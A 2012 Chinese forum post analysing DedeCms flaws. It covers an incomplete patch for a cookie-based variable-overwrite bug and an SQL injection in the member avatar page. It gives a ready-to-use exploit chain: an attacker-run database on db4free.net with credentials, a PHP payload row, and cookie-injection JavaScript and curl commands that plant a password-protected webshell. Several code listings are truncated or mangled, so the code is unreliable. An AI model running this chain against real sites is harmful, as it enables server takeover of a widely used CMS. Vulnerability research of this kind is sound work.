|
楼主 |
发表于 2012-5-24 15:21:24
|
显示全部楼层
|阅读模式
来自 北京市海淀区
本帖最后由 zxs079 于 2012-5-24 15:23 编辑
DedeCms作为国内使用非常广泛的CMS系统,今年来大大小小的安全漏洞爆出来不少.像这种使用非常广泛的Web代码如果出现严重漏洞可能会比一般的缓冲区溢出漏洞造成的破坏更大,其中2011年8月左右爆出的代码执行漏洞最为给力的一个.其后DedeCms很快打了补丁,有一些安全漏洞逐渐被披露,但仍有一些保躺在某些硬盘里.拜读了上一期黑防DedeCms漏洞的文章,也想把之前我找的几个DedeCms的bug与大家分享.
变量覆盖漏洞真的修补完了吗?
2011年8月爆出的Dedecms代码执行漏洞,至今为止,Dedecms还没有完全修补,在某些情况下攻击者仍然可以秒杀对方的服务器。
让我们先看一下Dedecms的 include/common.inc.php
$_v) $svar[$_k] = _RunMagicQuotes($_v);
44 }
45 else
46 {
47 if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
48 {
49 exit('Request var not allow!');
50 }
51 $svar = addslashes($svar);
52 }
53 }
54 return $svar;
55 }
56
57 if (!defined('DEDEREQUEST'))
58 {
59 //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
60 function CheckRequest(&$val) {
61 if (is_array($val)) {
62 foreach ($val as $_k=>$_v) {
63 if($_k == 'nvarname') continue;
64 CheckRequest($_k);
65 CheckRequest($val[$_k]);
66 }
67 } else
68 {
69 if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) )
70 {
71 exit('Request var not allow!');
72 }
73 }
74 }
75
76 //var_dump($_REQUEST);exit;
77 CheckRequest($_REQUEST); //这里检查变量是否合法
78
79 foreach(Array('_GET','_POST','_COOKIE') as $_request)
80 {
81 foreach($$_request as $_k => $_v)
82 {
83 if($_k == 'nvarname') ${$_k} = $_v;
84 else ${$_k} = _RunMagicQuotes($_v); //遍历初始化变量 并强制执行addslashes函数
85 }
86 }
87 }
这是2011年8月那次漏洞后dede的补丁,防止我们覆盖 $GLOBALS[xxx] 变量 和 系统变量 $cfg_xxx .
先是检测初看似乎没有问题.检查的时候用了超全局变量$_REQUEST,遍历初始化变量的时候用的$_GET,$_POST,$_COOKIE.但是检查的跟最后使用的是否相同呢?IIS的环境下是相同的,在某些apache主机上面就不一定了,$_REQUEST未必就包含$_COOKIE变量,这一点早在N年前国外某大牛的PPT就已经说过了。Dedecms的程序员只是看到网上公布的那个利用_POST方法覆盖变量的exp就写了补丁,而且没有在多种环境下测试就以为安全了。
看下面这个实验就明白了。
/*
OS : BackTrack 5 R1
Web Server : Apache 2
PHP Version : 5.3.2
*/
root@bt:/var/www# cat /var/www/test.php
string(4) "5678"
["hi_post"]=>
string(4) "abcd" //$_REQUEST数组里只有$_GET 和 $_POST的内容,并没有$_COOKIE的内容,所以前面的检查是有漏洞的
}
---------------REQUEST END------------
array(1) {
["hi_cookie"]=>
string(4) "1234"
}
---------------COOKIE END------------
因为这是个老漏洞,但是补丁没有完全修补,属于漏网之鱼,限于篇幅也就不分析了直接给出利用方法。
1.创建支持外连的数据库
执行一下sql语句
mysql -h db4free.net -u mydede -p45***56
use xdede;
CREATE TABLE IF NOT EXISTS `dede_myad` (
`aid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT,
`clsid` smallint(5) NOT NULL DEFAULT ’0′,
`typeid` smallint(5) unsigned NOT NULL DEFAULT ’0′,
`tagname` varchar(30) NOT NULL DEFAULT ”,
`adname` varchar(60) NOT NULL DEFAULT ”,
`timeset` smallint(6) NOT NULL DEFAULT ’0′,
`starttime` int(10) unsigned NOT NULL DEFAULT ’0′,
`endtime` int(10) unsigned NOT NULL DEFAULT ’0′,
`normbody` text,
`expbody` text,
PRIMARY KEY (`aid`),
KEY `tagname` (`tagname`,`typeid`,`timeset`,`endtime`,`starttime`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
insert into dede_myad(aid,timeset,normbody) values(1,0,”‘);echo ‘OK’;@fclose($fp);?>”);
2.访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1
浏览器地址栏执行一下javascript:
javascript:document.cookie=”GLOBALS[cfg_dbhost]=db4free.net”;document.cookie=”GLOBALS[cfg_dbuser]=mydede”;document.cookie=”GLOBALS[cfg_dbpwd]=45***56″;document.cookie=”GLOBALS[cfg_dbname]=mydede”;document.cookie=”GLOBALS[cfg_dbprefix]=dede_”;
刷新页面,将会生成shell http://127.0.0.1/dede/plus/1.php 密码 c
更直接的利用方式:
终端下执行
curl –cookie “GLOBALS[cfg_dbhost]=db4free.net;GLOBALS[cfg_dbuser]=mydede;GLOBALS[cfg_dbpwd]=45***56;GLOBALS[cfg_dbname]=mydede;GLOBALS[cfg_dbprefix]=dede_” “http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1″
我们来看 plus/ad_js.php 的代码:
1 $cfg_puccache_time )
20 {
21 $row = $dsql->GetOne("SELECT * FROM `dede_myad` WHERE aid='$aid' ");
22 $adbody = '';
23 //var_dump($row);
24
25 if($row['timeset']==0)
26 {
27 $adbody = $row['normbody'];
28 }
29 else
30 {
31 $ntime = time();
32 if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
33 $adbody = $row['expbody'];
34 } else {
35 $adbody = $row['normbody'];
36 }
37 }
38 $adbody = str_replace('"', '\"',$adbody);
39 $adbody = str_replace("\r", "\\r",$adbody);
40 $adbody = str_replace("\n", "\\n",$adbody);
41 //echo $adbody ;
42 $adbody = "\r\n";
43
44 $fp = fopen($cacheFile, 'w'); //写入数据库内容到缓存文件里
45 fwrite($fp, $adbody);
46 fclose($fp);
47 }
48 include $cacheFile; //执行我们的php代码
这里就是把数据库中的内容输入到缓存文件里,然后包含导致的代码执行。
尽管覆盖在$GLOBALS变量在包含数据库配置文件./data/common.inc.php之前,按照道理来说没办法覆盖才对。但是dedecms里面数据库配置变量用的是$cfg_dbxxxx,但是到了,./include/dedesqli.class.php文件里用的时候却用的是$GLOBALS['cfg_xxxx'];,通常的情况下这两者应该是一样的,但是当变量覆盖漏洞发生后$GLOBALS不再是超全局变量了,包含./data/common.inc.php之后$cfg_dbxxxx的值改变了,$GLOBALS['cfg_xxxx']的值却不会跟着变,所以才能利用成功。
图一
代码执行仅仅是一种利用方式,我们能够覆盖$GLOBALS变量,也能覆盖系统配置变量以cfg_ 开头的变量就能够干很多事情比如绕过系统配置等等。好了变量覆盖导致的代码执行说完了,我们再看看dedecms别的bug。
DedeCms的几个有意思的注射漏洞0day DedeCms由于include/common.inc.php强制执行了_RunMagicQuotes函数,以及80sec的sqlids使得字符形的注射几乎都成了鸡肋poc。
但是下面的代码还是有问题,看下面的代码,遍历初始化的时候,以$_GET为例,在magic_quotes_gpc = Off时,我们提交$_GET[kkk]=vvv’的时候,初始化变量$kkk=vvv\’,但是$_GET[kkk]=vvv’的值确没什么影响。加入以后的代码里直接使用了$_GET[kkk]的值我们就有可能引入单引号了。
79 foreach(Array('_GET','_POST','_COOKIE') as $_request)
80 {
81 foreach($$_request as $_k => $_v)
82 {
83 if($_k == 'nvarname') ${$_k} = $_v;
84 else ${$_k} = _RunMagicQuotes($_v); //遍历初始化变量 并强制执行addslashes函数
85 }
86 }
有的人也提到了在member目录下的文件都包含 member/config.php文件,这个文件的前两句就是
9 require_once(dirname(__FILE__).’/../include/common.inc.php’); //这里就是2011年8月份代码执行变量覆盖的发生地
10 require_once(DEDEINC.’/filter.inc.php’); //这里重新覆盖了一次,include/common.inc.php这个文件里说的话都不算数了,以最后一次说的为准
root@bt:/var/www/dede/member# cat -n ../include/filter.inc.php
...省略
20 function _FilterAll($fk, &$svar)
21 {
22 global $cfg_notallowstr,$cfg_replacestr;
23 if( is_array($svar) )
24 {
25 foreach($svar as $_k => $_v)
26 {
27 $svar[$_k] = _FilterAll($fk,$_v);
28 }
29 }
30 else
31 {
32 if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
33 {
34 ShowMsg(" $fk has not allow words!",'-1');
35 exit();
36 }
37 if($cfg_replacestr!='')
38 {
39 $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);//和谐社会函数,过滤不和谐内容
40 }
41 }
42 return $svar;
43 }
44
45 /* 对_GET,_POST,_COOKIE进行过滤 */
46 foreach(Array('_GET','_POST','_COOKIE') as $_request) //看这里又使用的 $_GET $_POST $_COOKIE
47 {
48 foreach($$_request as $_k => $_v)
49 {
50 ${$_k} = _FilterAll($_k,$_v); //又进行了一次变量初始化 这里导致变量覆盖
51 }
52 }
就是说在member目录下的文件我们不受_RunMagicQuotes函数的影响,在magic_quotes_gpc=off的时候我们可以使用单引号、截断符%00等待导致一些安全问题。在dedecms的sqlids里过滤了 union|sleep|benchmark|load_file|outfile 等待sql关键字,这里最狠的是过滤了select 要不我们会舒服的多。但是有没有不用select的情况呢?答案是肯定的。
dedecms dede_member、dede_admin这两个表里都有admin的hash,而且管理员在后台改了密码之后也会贴心地自动把dede_member表里的hash更新一次。所以我们找到dede_member表的注射就解决问题了。用这个表的文件有很多,我找到了修改个人配置信息的地方member/edit_face.php
root@bt:/var/www/dede/member# cat -n edit_face.php
9 require_once(dirname(__FILE__)."/config.php"); //这里包含和谐的 ../include/filter.inc.php
10 CheckRank(0,0); //检查权限,至少要是通过认证的会员,什么注册不了会员?别着急我们有办法
11 $menutype = 'config';
12 if(!isset($dopost))
13 {
14 $dopost = '';
15 }
16 if(!isset($backurl))
17 {
18 $backurl = 'edit_face.php';
19 }
20 if($dopost=='save')
21 {
22 $maxlength = $cfg_max_face * 1024;
23 $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID;
24 if(!preg_match("#^".$userdir."#", $oldface)) //绕过这个正则表达式才能继续玩
25 {
26 $oldface = '';
27 }
28 if(is_uploaded_file($face))
29 {
30 if(@filesize($_FILES['face']['tmp_name']) > $maxlength)
31 {
32 ShowMsg("你上传的头像文件超过了系统限制大小:{$cfg_max_face} K!", '-1');
33 exit();
34 }
35 //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg)
36 if(preg_match("#\.(jpg|gif|png)$#i", $oldface) && file_exists($cfg_basedir.$oldface))
37 {
38 @unlink($cfg_basedir.$oldface);
39 }
40 //上传新工图片
41 $face = MemberUploads('face', $oldface, $cfg_ml->M_ID, 'image', 'myface', 180, 180);
42 }
43 else
44 {
45 $face = $oldface; // $oldface是我们能控制的变量
46 }
47 $query = "UPDATE `dede_member` SET `face` = '$face' WHERE mid='{$cfg_ml->M_ID}' "; //这里导致注射漏洞
48 $dsql->ExecuteNoneQuery($query);
49 // 清除缓存
50 $cfg_ml->DelCache($cfg_ml->M_ID);
51 ShowMsg('成功更新头像信息!', $backurl);
52 exit();
53 }
本文作者 c4rp3nt3r 本文0x50sec.org原创,版权所有。
|
|